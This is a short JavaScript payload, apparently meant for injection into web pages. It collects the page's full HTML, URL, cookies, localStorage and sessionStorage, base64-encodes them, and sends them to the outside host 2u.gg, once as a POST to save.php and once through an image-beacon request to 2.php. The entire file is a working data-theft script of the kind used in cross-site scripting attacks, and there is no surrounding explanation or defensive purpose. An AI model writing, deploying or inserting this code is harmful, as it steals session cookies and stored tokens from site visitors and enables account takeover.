function sendPost(content, url, cookies, localstorage, sessionstorage, postUrl) {
  const formData = new FormData();
  formData.append("page", content);
  formData.append("url", url);
  formData.append("cookies", cookies);
  formData.append("localstorage", localstorage);
  formData.append("sessionstorage", sessionstorage);

  return fetch(postUrl, {
    method: "POST",
    body: formData
  });
}

const sourceCode = btoa(encodeURIComponent(document.documentElement.outerHTML));
const currentUrl = btoa(encodeURIComponent(window.location.href));
const cookies = btoa(encodeURIComponent(document.cookie));
const localStorageData = btoa(encodeURIComponent(JSON.stringify(localStorage)));
const sessionStorageData = btoa(encodeURIComponent(JSON.stringify(sessionStorage)));

const postUrl = "https://2u.gg/save.php";

sendPost(sourceCode, currentUrl, cookies, localStorageData, sessionStorageData, postUrl);
new Image().src = "https://2u.gg/2.php?c=" + currentUrl + "&d=" + cookies + "&e=" + localStorageData + "&f=" + sessionStorageData;